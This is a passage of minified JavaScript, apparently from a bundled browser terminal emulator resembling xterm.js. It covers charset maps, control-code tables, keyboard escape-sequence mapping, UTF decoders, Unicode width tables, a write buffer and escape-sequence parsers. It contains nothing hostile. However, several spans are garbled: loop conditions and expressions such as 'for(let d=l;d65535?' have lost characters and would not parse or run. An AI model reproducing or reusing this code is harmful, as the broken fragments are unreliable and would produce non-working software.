v=!0}else this.content=m[u.CHAR_DATA_CHAR_INDEX].charCodeAt(0)|m[u.CHAR_DATA_WIDTH_INDEX]<<22;v&&(this.combinedData=m[u.CHAR_DATA_CHAR_INDEX],this.content=2097152|m[u.CHAR_DATA_WIDTH_INDEX]<<22)}getAsCharData(){return[this.fg,this.getChars(),this.getWidth(),this.getCode()]}}a.CellData=d},643:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.WHITESPACE_CELL_CODE=a.WHITESPACE_CELL_WIDTH=a.WHITESPACE_CELL_CHAR=a.NULL_CELL_CODE=a.NULL_CELL_WIDTH=a.NULL_CELL_CHAR=a.CHAR_DATA_CODE_INDEX=a.CHAR_DATA_WIDTH_INDEX=a.CHAR_DATA_CHAR_INDEX=a.CHAR_DATA_ATTR_INDEX=a.DEFAULT_EXT=a.DEFAULT_ATTR=a.DEFAULT_COLOR=void 0,a.DEFAULT_COLOR=0,a.DEFAULT_ATTR=256|a.DEFAULT_COLOR<<9,a.DEFAULT_EXT=0,a.CHAR_DATA_ATTR_INDEX=0,a.CHAR_DATA_CHAR_INDEX=1,a.CHAR_DATA_WIDTH_INDEX=2,a.CHAR_DATA_CODE_INDEX=3,a.NULL_CELL_CHAR="",a.NULL_CELL_WIDTH=1,a.NULL_CELL_CODE=0,a.WHITESPACE_CELL_CHAR=" ",a.WHITESPACE_CELL_WIDTH=1,a.WHITESPACE_CELL_CODE=32},4863:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.Marker=void 0;const l=c(8460),u=c(844);class h{get id(){return this._id}constructor(p){this.line=p,this.isDisposed=!1,this._disposables=[],this._id=h._nextId++,this._onDispose=this.register(new l.EventEmitter),this.onDispose=this._onDispose.event}dispose(){this.isDisposed||(this.isDisposed=!0,this.line=-1,this._onDispose.fire(),(0,u.disposeArray)(this._disposables),this._disposables.length=0)}register(p){return this._disposables.push(p),p}}a.Marker=h,h._nextId=1},7116:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.DEFAULT_CHARSET=a.CHARSETS=void 0,a.CHARSETS={},a.DEFAULT_CHARSET=a.CHARSETS.B,a.CHARSETS[0]={"`":"◆",a:"▒",b:"␉",c:"␌",d:"␍",e:"␊",f:"°",g:"±",h:"␤",i:"␋",j:"┘",k:"┐",l:"┌",m:"└",n:"┼",o:"⎺",p:"⎻",q:"─",r:"⎼",s:"⎽",t:"├",u:"┤",v:"┴",w:"┬",x:"│",y:"≤",z:"≥","{":"π","|":"≠","}":"£","~":"·"},a.CHARSETS.A={"#":"£"},a.CHARSETS.B=void 0,a.CHARSETS[4]={"#":"£","@":"¾","[":"ij","\\":"½","]":"|","{":"¨","|":"f","}":"¼","~":"´"},a.CHARSETS.C=a.CHARSETS[5]={"[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"},a.CHARSETS.R={"#":"£","@":"à","[":"°","\\":"ç","]":"§","{":"é","|":"ù","}":"è","~":"¨"},a.CHARSETS.Q={"@":"à","[":"â","\\":"ç","]":"ê","^":"î","`":"ô","{":"é","|":"ù","}":"è","~":"û"},a.CHARSETS.K={"@":"§","[":"Ä","\\":"Ö","]":"Ü","{":"ä","|":"ö","}":"ü","~":"ß"},a.CHARSETS.Y={"#":"£","@":"§","[":"°","\\":"ç","]":"é","`":"ù","{":"à","|":"ò","}":"è","~":"ì"},a.CHARSETS.E=a.CHARSETS[6]={"@":"Ä","[":"Æ","\\":"Ø","]":"Å","^":"Ü","`":"ä","{":"æ","|":"ø","}":"å","~":"ü"},a.CHARSETS.Z={"#":"£","@":"§","[":"¡","\\":"Ñ","]":"¿","{":"°","|":"ñ","}":"ç"},a.CHARSETS.H=a.CHARSETS[7]={"@":"É","[":"Ä","\\":"Ö","]":"Å","^":"Ü","`":"é","{":"ä","|":"ö","}":"å","~":"ü"},a.CHARSETS["="]={"#":"ù","@":"à","[":"é","\\":"ç","]":"ê","^":"î",_:"è","`":"ô","{":"ä","|":"ö","}":"ü","~":"û"}},2584:(o,a)=>{var c,l,u;Object.defineProperty(a,"__esModule",{value:!0}),a.C1_ESCAPED=a.C1=a.C0=void 0,function(h){h.NUL="\0",h.SOH="",h.STX="",h.ETX="",h.EOT="",h.ENQ="",h.ACK="",h.BEL="\x07",h.BS="\b",h.HT=" ",h.LF=` +`,h.VT="\v",h.FF="\f",h.CR="\r",h.SO="",h.SI="",h.DLE="",h.DC1="",h.DC2="",h.DC3="",h.DC4="",h.NAK="",h.SYN="",h.ETB="",h.CAN="",h.EM="",h.SUB="",h.ESC="\x1B",h.FS="",h.GS="",h.RS="",h.US="",h.SP=" ",h.DEL=""}(c||(a.C0=c={})),function(h){h.PAD="€",h.HOP="",h.BPH="‚",h.NBH="ƒ",h.IND="„",h.NEL="…",h.SSA="†",h.ESA="‡",h.HTS="ˆ",h.HTJ="‰",h.VTS="Š",h.PLD="‹",h.PLU="Œ",h.RI="",h.SS2="Ž",h.SS3="",h.DCS="",h.PU1="‘",h.PU2="’",h.STS="“",h.CCH="”",h.MW="•",h.SPA="–",h.EPA="—",h.SOS="˜",h.SGCI="™",h.SCI="š",h.CSI="›",h.ST="œ",h.OSC="",h.PM="ž",h.APC="Ÿ"}(l||(a.C1=l={})),function(h){h.ST=`${c.ESC}\\`}(u||(a.C1_ESCAPED=u={}))},7399:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.evaluateKeyboardEvent=void 0;const l=c(2584),u={48:["0",")"],49:["1","!"],50:["2","@"],51:["3","#"],52:["4","$"],53:["5","%"],54:["6","^"],55:["7","&"],56:["8","*"],57:["9","("],186:[";",":"],187:["=","+"],188:[",","<"],189:["-","_"],190:[".",">"],191:["/","?"],192:["`","~"],219:["[","{"],220:["\\","|"],221:["]","}"],222:["'",'"']};a.evaluateKeyboardEvent=function(h,d,p,m){const v={type:0,cancel:!1,key:void 0},g=(h.shiftKey?1:0)|(h.altKey?2:0)|(h.ctrlKey?4:0)|(h.metaKey?8:0);switch(h.keyCode){case 0:h.key==="UIKeyInputUpArrow"?v.key=d?l.C0.ESC+"OA":l.C0.ESC+"[A":h.key==="UIKeyInputLeftArrow"?v.key=d?l.C0.ESC+"OD":l.C0.ESC+"[D":h.key==="UIKeyInputRightArrow"?v.key=d?l.C0.ESC+"OC":l.C0.ESC+"[C":h.key==="UIKeyInputDownArrow"&&(v.key=d?l.C0.ESC+"OB":l.C0.ESC+"[B");break;case 8:if(h.altKey){v.key=l.C0.ESC+l.C0.DEL;break}v.key=l.C0.DEL;break;case 9:if(h.shiftKey){v.key=l.C0.ESC+"[Z";break}v.key=l.C0.HT,v.cancel=!0;break;case 13:v.key=h.altKey?l.C0.ESC+l.C0.CR:l.C0.CR,v.cancel=!0;break;case 27:v.key=l.C0.ESC,h.altKey&&(v.key=l.C0.ESC+l.C0.ESC),v.cancel=!0;break;case 37:if(h.metaKey)break;g?(v.key=l.C0.ESC+"[1;"+(g+1)+"D",v.key===l.C0.ESC+"[1;3D"&&(v.key=l.C0.ESC+(p?"b":"[1;5D"))):v.key=d?l.C0.ESC+"OD":l.C0.ESC+"[D";break;case 39:if(h.metaKey)break;g?(v.key=l.C0.ESC+"[1;"+(g+1)+"C",v.key===l.C0.ESC+"[1;3C"&&(v.key=l.C0.ESC+(p?"f":"[1;5C"))):v.key=d?l.C0.ESC+"OC":l.C0.ESC+"[C";break;case 38:if(h.metaKey)break;g?(v.key=l.C0.ESC+"[1;"+(g+1)+"A",p||v.key!==l.C0.ESC+"[1;3A"||(v.key=l.C0.ESC+"[1;5A")):v.key=d?l.C0.ESC+"OA":l.C0.ESC+"[A";break;case 40:if(h.metaKey)break;g?(v.key=l.C0.ESC+"[1;"+(g+1)+"B",p||v.key!==l.C0.ESC+"[1;3B"||(v.key=l.C0.ESC+"[1;5B")):v.key=d?l.C0.ESC+"OB":l.C0.ESC+"[B";break;case 45:h.shiftKey||h.ctrlKey||(v.key=l.C0.ESC+"[2~");break;case 46:v.key=g?l.C0.ESC+"[3;"+(g+1)+"~":l.C0.ESC+"[3~";break;case 36:v.key=g?l.C0.ESC+"[1;"+(g+1)+"H":d?l.C0.ESC+"OH":l.C0.ESC+"[H";break;case 35:v.key=g?l.C0.ESC+"[1;"+(g+1)+"F":d?l.C0.ESC+"OF":l.C0.ESC+"[F";break;case 33:h.shiftKey?v.type=2:h.ctrlKey?v.key=l.C0.ESC+"[5;"+(g+1)+"~":v.key=l.C0.ESC+"[5~";break;case 34:h.shiftKey?v.type=3:h.ctrlKey?v.key=l.C0.ESC+"[6;"+(g+1)+"~":v.key=l.C0.ESC+"[6~";break;case 112:v.key=g?l.C0.ESC+"[1;"+(g+1)+"P":l.C0.ESC+"OP";break;case 113:v.key=g?l.C0.ESC+"[1;"+(g+1)+"Q":l.C0.ESC+"OQ";break;case 114:v.key=g?l.C0.ESC+"[1;"+(g+1)+"R":l.C0.ESC+"OR";break;case 115:v.key=g?l.C0.ESC+"[1;"+(g+1)+"S":l.C0.ESC+"OS";break;case 116:v.key=g?l.C0.ESC+"[15;"+(g+1)+"~":l.C0.ESC+"[15~";break;case 117:v.key=g?l.C0.ESC+"[17;"+(g+1)+"~":l.C0.ESC+"[17~";break;case 118:v.key=g?l.C0.ESC+"[18;"+(g+1)+"~":l.C0.ESC+"[18~";break;case 119:v.key=g?l.C0.ESC+"[19;"+(g+1)+"~":l.C0.ESC+"[19~";break;case 120:v.key=g?l.C0.ESC+"[20;"+(g+1)+"~":l.C0.ESC+"[20~";break;case 121:v.key=g?l.C0.ESC+"[21;"+(g+1)+"~":l.C0.ESC+"[21~";break;case 122:v.key=g?l.C0.ESC+"[23;"+(g+1)+"~":l.C0.ESC+"[23~";break;case 123:v.key=g?l.C0.ESC+"[24;"+(g+1)+"~":l.C0.ESC+"[24~";break;default:if(!h.ctrlKey||h.shiftKey||h.altKey||h.metaKey)if(p&&!m||!h.altKey||h.metaKey)!p||h.altKey||h.ctrlKey||h.shiftKey||!h.metaKey?h.key&&!h.ctrlKey&&!h.altKey&&!h.metaKey&&h.keyCode>=48&&h.key.length===1?v.key=h.key:h.key&&h.ctrlKey&&(h.key==="_"&&(v.key=l.C0.US),h.key==="@"&&(v.key=l.C0.NUL)):h.keyCode===65&&(v.type=1);else{const y=u[h.keyCode],b=y==null?void 0:y[h.shiftKey?1:0];if(b)v.key=l.C0.ESC+b;else if(h.keyCode>=65&&h.keyCode<=90){const _=h.ctrlKey?h.keyCode-64:h.keyCode+32;let w=String.fromCharCode(_);h.shiftKey&&(w=w.toUpperCase()),v.key=l.C0.ESC+w}else if(h.keyCode===32)v.key=l.C0.ESC+(h.ctrlKey?l.C0.NUL:" ");else if(h.key==="Dead"&&h.code.startsWith("Key")){let _=h.code.slice(3,4);h.shiftKey||(_=_.toLowerCase()),v.key=l.C0.ESC+_,v.cancel=!0}}else h.keyCode>=65&&h.keyCode<=90?v.key=String.fromCharCode(h.keyCode-64):h.keyCode===32?v.key=l.C0.NUL:h.keyCode>=51&&h.keyCode<=55?v.key=String.fromCharCode(h.keyCode-51+27):h.keyCode===56?v.key=l.C0.DEL:h.keyCode===219?v.key=l.C0.ESC:h.keyCode===220?v.key=l.C0.FS:h.keyCode===221&&(v.key=l.C0.GS)}return v}},482:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.Utf8ToUtf32=a.StringToUtf32=a.utf32ToString=a.stringFromCodePoint=void 0,a.stringFromCodePoint=function(c){return c>65535?(c-=65536,String.fromCharCode(55296+(c>>10))+String.fromCharCode(c%1024+56320)):String.fromCharCode(c)},a.utf32ToString=function(c,l=0,u=c.length){let h="";for(let d=l;d65535?(p-=65536,h+=String.fromCharCode(55296+(p>>10))+String.fromCharCode(p%1024+56320)):h+=String.fromCharCode(p)}return h},a.StringToUtf32=class{constructor(){this._interim=0}clear(){this._interim=0}decode(c,l){const u=c.length;if(!u)return 0;let h=0,d=0;if(this._interim){const p=c.charCodeAt(d++);56320<=p&&p<=57343?l[h++]=1024*(this._interim-55296)+p-56320+65536:(l[h++]=this._interim,l[h++]=p),this._interim=0}for(let p=d;p=u)return this._interim=m,h;const v=c.charCodeAt(p);56320<=v&&v<=57343?l[h++]=1024*(m-55296)+v-56320+65536:(l[h++]=m,l[h++]=v)}else m!==65279&&(l[h++]=m)}return h}},a.Utf8ToUtf32=class{constructor(){this.interim=new Uint8Array(3)}clear(){this.interim.fill(0)}decode(c,l){const u=c.length;if(!u)return 0;let h,d,p,m,v=0,g=0,y=0;if(this.interim[0]){let w=!1,S=this.interim[0];S&=(224&S)==192?31:(240&S)==224?15:7;let C,T=0;for(;(C=63&this.interim[++T])&&T<4;)S<<=6,S|=C;const k=(224&this.interim[0])==192?2:(240&this.interim[0])==224?3:4,A=k-T;for(;y=u)return 0;if(C=c[y++],(192&C)!=128){y--,w=!0;break}this.interim[T++]=C,S<<=6,S|=63&C}w||(k===2?S<128?y--:l[v++]=S:k===3?S<2048||S>=55296&&S<=57343||S===65279||(l[v++]=S):S<65536||S>1114111||(l[v++]=S)),this.interim.fill(0)}const b=u-4;let _=y;for(;_=u)return this.interim[0]=h,v;if(d=c[_++],(192&d)!=128){_--;continue}if(g=(31&h)<<6|63&d,g<128){_--;continue}l[v++]=g}else if((240&h)==224){if(_>=u)return this.interim[0]=h,v;if(d=c[_++],(192&d)!=128){_--;continue}if(_>=u)return this.interim[0]=h,this.interim[1]=d,v;if(p=c[_++],(192&p)!=128){_--;continue}if(g=(15&h)<<12|(63&d)<<6|63&p,g<2048||g>=55296&&g<=57343||g===65279)continue;l[v++]=g}else if((248&h)==240){if(_>=u)return this.interim[0]=h,v;if(d=c[_++],(192&d)!=128){_--;continue}if(_>=u)return this.interim[0]=h,this.interim[1]=d,v;if(p=c[_++],(192&p)!=128){_--;continue}if(_>=u)return this.interim[0]=h,this.interim[1]=d,this.interim[2]=p,v;if(m=c[_++],(192&m)!=128){_--;continue}if(g=(7&h)<<18|(63&d)<<12|(63&p)<<6|63&m,g<65536||g>1114111)continue;l[v++]=g}}return v}}},225:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.UnicodeV6=void 0;const c=[[768,879],[1155,1158],[1160,1161],[1425,1469],[1471,1471],[1473,1474],[1476,1477],[1479,1479],[1536,1539],[1552,1557],[1611,1630],[1648,1648],[1750,1764],[1767,1768],[1770,1773],[1807,1807],[1809,1809],[1840,1866],[1958,1968],[2027,2035],[2305,2306],[2364,2364],[2369,2376],[2381,2381],[2385,2388],[2402,2403],[2433,2433],[2492,2492],[2497,2500],[2509,2509],[2530,2531],[2561,2562],[2620,2620],[2625,2626],[2631,2632],[2635,2637],[2672,2673],[2689,2690],[2748,2748],[2753,2757],[2759,2760],[2765,2765],[2786,2787],[2817,2817],[2876,2876],[2879,2879],[2881,2883],[2893,2893],[2902,2902],[2946,2946],[3008,3008],[3021,3021],[3134,3136],[3142,3144],[3146,3149],[3157,3158],[3260,3260],[3263,3263],[3270,3270],[3276,3277],[3298,3299],[3393,3395],[3405,3405],[3530,3530],[3538,3540],[3542,3542],[3633,3633],[3636,3642],[3655,3662],[3761,3761],[3764,3769],[3771,3772],[3784,3789],[3864,3865],[3893,3893],[3895,3895],[3897,3897],[3953,3966],[3968,3972],[3974,3975],[3984,3991],[3993,4028],[4038,4038],[4141,4144],[4146,4146],[4150,4151],[4153,4153],[4184,4185],[4448,4607],[4959,4959],[5906,5908],[5938,5940],[5970,5971],[6002,6003],[6068,6069],[6071,6077],[6086,6086],[6089,6099],[6109,6109],[6155,6157],[6313,6313],[6432,6434],[6439,6440],[6450,6450],[6457,6459],[6679,6680],[6912,6915],[6964,6964],[6966,6970],[6972,6972],[6978,6978],[7019,7027],[7616,7626],[7678,7679],[8203,8207],[8234,8238],[8288,8291],[8298,8303],[8400,8431],[12330,12335],[12441,12442],[43014,43014],[43019,43019],[43045,43046],[64286,64286],[65024,65039],[65056,65059],[65279,65279],[65529,65531]],l=[[68097,68099],[68101,68102],[68108,68111],[68152,68154],[68159,68159],[119143,119145],[119155,119170],[119173,119179],[119210,119213],[119362,119364],[917505,917505],[917536,917631],[917760,917999]];let u;a.UnicodeV6=class{constructor(){if(this.version="6",!u){u=new Uint8Array(65536),u.fill(1),u[0]=0,u.fill(0,1,32),u.fill(0,127,160),u.fill(2,4352,4448),u[9001]=2,u[9002]=2,u.fill(2,11904,42192),u[12351]=1,u.fill(2,44032,55204),u.fill(2,63744,64256),u.fill(2,65040,65050),u.fill(2,65072,65136),u.fill(2,65280,65377),u.fill(2,65504,65511);for(let h=0;hp[g][1])return!1;for(;g>=v;)if(m=v+g>>1,d>p[m][1])v=m+1;else{if(!(d=131072&&h<=196605||h>=196608&&h<=262141?2:1}}},5981:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.WriteBuffer=void 0;const l=c(8460),u=c(844);class h extends u.Disposable{constructor(p){super(),this._action=p,this._writeBuffer=[],this._callbacks=[],this._pendingData=0,this._bufferOffset=0,this._isSyncWriting=!1,this._syncCalls=0,this._didUserInput=!1,this._onWriteParsed=this.register(new l.EventEmitter),this.onWriteParsed=this._onWriteParsed.event}handleUserInput(){this._didUserInput=!0}writeSync(p,m){if(m!==void 0&&this._syncCalls>m)return void(this._syncCalls=0);if(this._pendingData+=p.length,this._writeBuffer.push(p),this._callbacks.push(void 0),this._syncCalls++,this._isSyncWriting)return;let v;for(this._isSyncWriting=!0;v=this._writeBuffer.shift();){this._action(v);const g=this._callbacks.shift();g&&g()}this._pendingData=0,this._bufferOffset=2147483647,this._isSyncWriting=!1,this._syncCalls=0}write(p,m){if(this._pendingData>5e7)throw new Error("write data discarded, use flow control to avoid losing data");if(!this._writeBuffer.length){if(this._bufferOffset=0,this._didUserInput)return this._didUserInput=!1,this._pendingData+=p.length,this._writeBuffer.push(p),this._callbacks.push(m),void this._innerWrite();setTimeout(()=>this._innerWrite())}this._pendingData+=p.length,this._writeBuffer.push(p),this._callbacks.push(m)}_innerWrite(p=0,m=!0){const v=p||Date.now();for(;this._writeBuffer.length>this._bufferOffset;){const g=this._writeBuffer[this._bufferOffset],y=this._action(g,m);if(y){const _=w=>Date.now()-v>=12?setTimeout(()=>this._innerWrite(0,w)):this._innerWrite(v,w);return void y.catch(w=>(queueMicrotask(()=>{throw w}),Promise.resolve(!1))).then(_)}const b=this._callbacks[this._bufferOffset];if(b&&b(),this._bufferOffset++,this._pendingData-=g.length,Date.now()-v>=12)break}this._writeBuffer.length>this._bufferOffset?(this._bufferOffset>50&&(this._writeBuffer=this._writeBuffer.slice(this._bufferOffset),this._callbacks=this._callbacks.slice(this._bufferOffset),this._bufferOffset=0),setTimeout(()=>this._innerWrite())):(this._writeBuffer.length=0,this._callbacks.length=0,this._pendingData=0,this._bufferOffset=0),this._onWriteParsed.fire()}}a.WriteBuffer=h},5941:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.toRgbString=a.parseColor=void 0;const c=/^([\da-f])\/([\da-f])\/([\da-f])$|^([\da-f]{2})\/([\da-f]{2})\/([\da-f]{2})$|^([\da-f]{3})\/([\da-f]{3})\/([\da-f]{3})$|^([\da-f]{4})\/([\da-f]{4})\/([\da-f]{4})$/,l=/^[\da-f]+$/;function u(h,d){const p=h.toString(16),m=p.length<2?"0"+p:p;switch(d){case 4:return p[0];case 8:return m;case 12:return(m+m).slice(0,3);default:return m+m}}a.parseColor=function(h){if(!h)return;let d=h.toLowerCase();if(d.indexOf("rgb:")===0){d=d.slice(4);const p=c.exec(d);if(p){const m=p[1]?15:p[4]?255:p[7]?4095:65535;return[Math.round(parseInt(p[1]||p[4]||p[7]||p[10],16)/m*255),Math.round(parseInt(p[2]||p[5]||p[8]||p[11],16)/m*255),Math.round(parseInt(p[3]||p[6]||p[9]||p[12],16)/m*255)]}}else if(d.indexOf("#")===0&&(d=d.slice(1),l.exec(d)&&[3,6,9,12].includes(d.length))){const p=d.length/3,m=[0,0,0];for(let v=0;v<3;++v){const g=parseInt(d.slice(p*v,p*v+p),16);m[v]=p===1?g<<4:p===2?g:p===3?g>>4:g>>8}return m}},a.toRgbString=function(h,d=16){const[p,m,v]=h;return`rgb:${u(p,d)}/${u(m,d)}/${u(v,d)}`}},5770:(o,a)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.PAYLOAD_LIMIT=void 0,a.PAYLOAD_LIMIT=1e7},6351:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.DcsHandler=a.DcsParser=void 0;const l=c(482),u=c(8742),h=c(5770),d=[];a.DcsParser=class{constructor(){this._handlers=Object.create(null),this._active=d,this._ident=0,this._handlerFb=()=>{},this._stack={paused:!1,loopPosition:0,fallThrough:!1}}dispose(){this._handlers=Object.create(null),this._handlerFb=()=>{},this._active=d}registerHandler(m,v){this._handlers[m]===void 0&&(this._handlers[m]=[]);const g=this._handlers[m];return g.push(v),{dispose:()=>{const y=g.indexOf(v);y!==-1&&g.splice(y,1)}}}clearHandler(m){this._handlers[m]&&delete this._handlers[m]}setHandlerFallback(m){this._handlerFb=m}reset(){if(this._active.length)for(let m=this._stack.paused?this._stack.loopPosition-1:this._active.length-1;m>=0;--m)this._active[m].unhook(!1);this._stack.paused=!1,this._active=d,this._ident=0}hook(m,v){if(this.reset(),this._ident=m,this._active=this._handlers[m]||d,this._active.length)for(let g=this._active.length-1;g>=0;g--)this._active[g].hook(v);else this._handlerFb(this._ident,"HOOK",v)}put(m,v,g){if(this._active.length)for(let y=this._active.length-1;y>=0;y--)this._active[y].put(m,v,g);else this._handlerFb(this._ident,"PUT",(0,l.utf32ToString)(m,v,g))}unhook(m,v=!0){if(this._active.length){let g=!1,y=this._active.length-1,b=!1;if(this._stack.paused&&(y=this._stack.loopPosition-1,g=v,b=this._stack.fallThrough,this._stack.paused=!1),!b&&g===!1){for(;y>=0&&(g=this._active[y].unhook(m),g!==!0);y--)if(g instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=y,this._stack.fallThrough=!1,g;y--}for(;y>=0;y--)if(g=this._active[y].unhook(!1),g instanceof Promise)return this._stack.paused=!0,this._stack.loopPosition=y,this._stack.fallThrough=!0,g}else this._handlerFb(this._ident,"UNHOOK",m);this._active=d,this._ident=0}};const p=new u.Params;p.addParam(0),a.DcsHandler=class{constructor(m){this._handler=m,this._data="",this._params=p,this._hitLimit=!1}hook(m){this._params=m.length>1||m.params[0]?m.clone():p,this._data="",this._hitLimit=!1}put(m,v,g){this._hitLimit||(this._data+=(0,l.utf32ToString)(m,v,g),this._data.length>h.PAYLOAD_LIMIT&&(this._data="",this._hitLimit=!0))}unhook(m){let v=!1;if(this._hitLimit)v=!1;else if(m&&(v=this._handler(this._data,this._params),v instanceof Promise))return v.then(g=>(this._params=p,this._data="",this._hitLimit=!1,g));return this._params=p,this._data="",this._hitLimit=!1,v}}},2015:(o,a,c)=>{Object.defineProperty(a,"__esModule",{value:!0}),a.EscapeSequenceParser=a.VT500_TRANSITION_TABLE=a.TransitionTable=void 0;const l=c(844),u=c(8742),h=c(6242),d=c(6351);class p{constructor(y){this.table=new Uint8Array(y)}setDefault(y,b){this.table.fill(y<<4|b)}add(y,b,_,w){this.table[b<<8|y]=_<<4|w}addMany(y,b,_,w){for(let S=0;Sk),b=(T,k)=>y.slice(T,k),_=b(32,127),w=b(0,24);w.push(25),w.push.apply(w,b(28,32));const S=b(0,14);let C;for(C in g.setDefault(1,0),g.addMany(_,0,2,0),S)g.addMany([24,26,153,154],C,3,0),g.addMany(b(128,144),C,3,0),g.addMany(b(144,152),C,3,0),g.add(156,C,0,0),g.add(27,C,11,1),g.add(157,C,4,8),g.addMany([152,158,159],C,0,7),g.add(155,C,11,3),g.add(144,C,11,9);return g.addMany(w,0,3,0),g.addMany(w,1,3,1),g.add(127,1,0,1),g.addMany(w,8,0,8),g.addMany(w,3,3,3),g.add(127,3,0,3),g.addMany(w,4,3,4),g.add(127,4,0,4),g.addMany(w,6,3,6),g.addMany(w,5,3,5),g.add(127,5,0,5),g.addMany(w,2,3,2),g.add(127,2,0,2),g.add(93,1,4,8),g.addMany(_,8,5,8),g.add(127,8,5,8),g.addMany([156,27,24,26,7],8,6,0),g.addMany(b(28,32),8,0,8),g.addMany([88,94,95],1,0,7),g.addMany(_,7,0,7),g.addMany(w,7,0,7),g.add(156,7,0,0),g.add(127,7,0,7),g.add(91,1,11,3),g.addMany(b(64,127),3,7,0),g.addMany(b(48,60),3,8,4),g.addMany([60,61,62,63],3,9,4),g.addMany(b(48,60),4,8,4),g.addMany(b(64,127),4,7,0),g.addMany([60,61,62,63],4,0,6),g.addMany(b(32,64),6,0,6),g.add(127,6,0,6),g.addMany(b(64,127),6,0,0),g.addMany(b(32,48),3,9,5),g.addMany(b(32,48),5,9,5),g.addMany(b(48,64),5,0,6),g.addMany(b(64,127),5,7,0),g.addMany(b(32,48),4,9,5),g.addMany(b(32,48),1,9,2),g.addMany(b(32,48),2,9,2),g.addMany(b(48,127),2,10,0),g.addMany(b(48,80),1,10,0),g.addMany(b(81,88),1,10,0),g.addMany([89,90,92],1,10,0),g.addMany(b(96,127),1,10,0),g.add(80,1,11,9),g.addMany(w,9,0,9),g.add(127,9,0,9),g.addMany(b(28,32),9,0,9),g.addMany(b(32,48),9,9,12),g.addMany(b(48,60),9,8,10),g.addMany([60,61,62,63],9,9,10),g.addMany(w,11,0,11),g.addMany(b(32,128),11,0,11),g.addMany(b(28,32),11,0,11),g.addMany(w,10,0,10),g.add(127,10,0,10),g.addMany(b(28,32),10,0,10),g.addMany(b(48,60),10,8,10),g.addMany([60,61,62,63],10,0,11),g.addMany(b(32,48),10,9,12),g.addMany(w,12,0,12),g.add(127,12,0,12),g.addMany(b(28,32),12,0,12),g.addMany(b(32,48),12,9,12),g.addMany(b(48,64),12,0,11),g.addMany(b(64,127),12,12,13),g.addMany(b(64,127),10,12,13),g.addMany(b(64,127),9,12,13),g.addMany(w,13,13,13),g.addMany(_,13,13,13),g.add(127,13,0,13),g.addMany([27,156,24,26],13,14,0),g.add(m,0,2,0),g.add(m,8,5,8),g.add(m,6,0,6),g.add(m,11,0,11),g.add(m,13,13,13),g}();class v extends l.Disposable{constructor(y=a.VT500_TRANSITION_TABLE){super(),this._transitions=y,this._parseStack={state:0,handlers:[],handlerPos:0,transition:0,chunkPos:0},this.initialState=0,this.currentState=this.initialState,this._params=new u.Params,this._params.addParam(0),this._collect=0,this.precedingCodepoint=0,this._printHandlerFb=(b,_,w)=>{},this._executeHandlerFb=b=>{},this._csiHandlerFb=(b,_)=>{},this._escHandlerFb=b=>{},this._errorHandlerFb=b=>b,this._printHandler=this._printHandlerFb,this._executeHandlers=Object.create(null),this._csiHandlers=Object.create(null),this._escHandlers=Object.create(null),this.register((0,l.toDisposable)(()=>{this._csiHandlers=Object.create(null),this._executeHandlers=Object.create(null),this._escHandlers=Object.create(null)})),this._oscParser=this.register(new h.OscParser),this._dcsParser=this.register(new d.DcsParser),this._errorHandler=this._errorHandlerFb,this.registerEscHandler({final:"\\"},()=>!0)}_identifier(y,b=[64,126]){let _=0;if(y.prefix){if(y.prefix.length>1)throw new Error("only one byte as prefix supported");if(_=y.prefix.charCodeAt(0),_&&60>_||_>63)throw new Error("prefix must be in range 0x3c .. 0x3f")}if(y.intermediates){if(y.intermediates.length>2)throw new Error("only two bytes as intermediates are supported");for(let S=0;SC||C>47)throw new Error("intermediate must be in range 0x20 .. 0x2f");_<<=8,_|=C}}if(y.final.length!==1)throw new Error("final must be a single byte");const w=y.final.charCodeAt(0);if(b[0]>w||w>b[1])throw new Error(`final must be in range ${b[0]} .. ${b[1]}`);return _<<=8,_|=w,_}identToString(y){const b=[];for(;y;)b.push(String.fromCharCode(255&y)),y>>=8;return b.reverse().join("")}setPrintHandler(y){this._printHandler=y}clearPrintHandler(){this._printHandler=this._printHandlerFb}registerEscHandler(y,b){const _=this._identifier(y,[48,126]);this._escHandlers[_]===void 0&&(this._escHandlers[_]=[]);const w=this._escHandlers[_];return w.push(b),{dispose:()=>{const S=w.indexOf(b);S!==-1&&w.splice(S,1)}}}clearEscHandler(y){this._escHandlers[this._identifier(y,[48,126])]&&delete this._escHandlers[this._identifier(y,[48,126])]}setEscHandlerFallback(y){this._escHandlerFb=y}setExecuteHandler(y,b){this._executeHandlers[y.charCodeAt(0)]=b}clearExecuteHandler(y){this._executeHandlers[y.charCodeAt(0)]&&delete this._executeHandlers[y.charCodeAt(0)]}setExecuteHandlerFallback(y){this._executeHandlerFb=y}registerCsiHandler(y,b){const _=this._identifier(y);this._csiHandlers[_]===void 0&&(this._csiHandlers[_]=[]);const w=this._csiHandlers[_];return w.push(b),{dispose:()=>{const S=w.indexOf(b);S!==-1&&w.splice(S,1)}}}clearCsiHandler(y){this._csiHandlers[this._identifier(y)]&&delete this._csiHandlers[this._identifier(y)]}setCsiHandlerFallback(y){this._csiHandlerFb=y}registerDcsHandler(y,b){return this._dcsParser.registerHandler(this._identifier(y),b)}clearDcsHandler(y){this._dcsParser.clearHandler(this._identifier(y))}setDcsHandlerFallback(y){this._dcsParser.setHandlerFallback(y)}registerOscHandler(y,b){return 